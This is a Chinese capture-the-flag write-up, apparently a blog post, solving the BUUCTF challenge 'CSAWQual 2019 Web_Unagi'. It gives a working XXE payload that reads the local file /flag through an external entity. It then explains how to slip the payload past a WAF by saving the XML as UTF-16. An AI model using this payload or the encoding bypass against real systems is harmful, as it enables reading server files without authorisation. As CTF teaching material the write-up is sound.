BUUCTF-[CSAWQual 2019]Web_Unagi 1

打开题目

有个upload,能上传文件

有一段提示,翻译过来是你可以在此处查看格式示例,点击here

给了一段xml文档,尝试在xml文档中添加xxe注入攻击,新建一个xml文档

定义文档类型为users,并在其中定义了一个实体xxe,通过SYSTEM关键字指定其值从本地文件系统的/flag文件中读取

<intro> 引用外部实体 &xxe;,如果这个 XML 被解析,会尝试读取 /flag 文件的内容并显示在这里。

<?xml version='1.0'?>

<!DOCTYPE users [

<!ENTITY xxe SYSTEM "file:///flag" >]>

<users>

<user>

<username>alice</username>

<password>passwd1</password>

<name>Alice</name>

<email>alice@fakesite.com</email>

<group>CSAW2019</group>

<intro>&xxe;</intro>

</user>

<user>

上传后发现被waf拦截了

这个时候转换为其他编码绕过waf

在 UTF-16 编码下,XML 文档中的字符表示方式发生了改变。这可能会影响waf对外部实体引用(如 <!ENTITY xxe SYSTEM "file:///flag" >)的识别和处理。

waf在处理 UTF-16 编码的 XML 时,无法正确解析或识别外部实体引用,从而让包含恶意外部实体的 XML 文档得以通过。

使用vscode通过编码保存

转换编码为utf-16

再上传就能绕过waf,得到flag

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值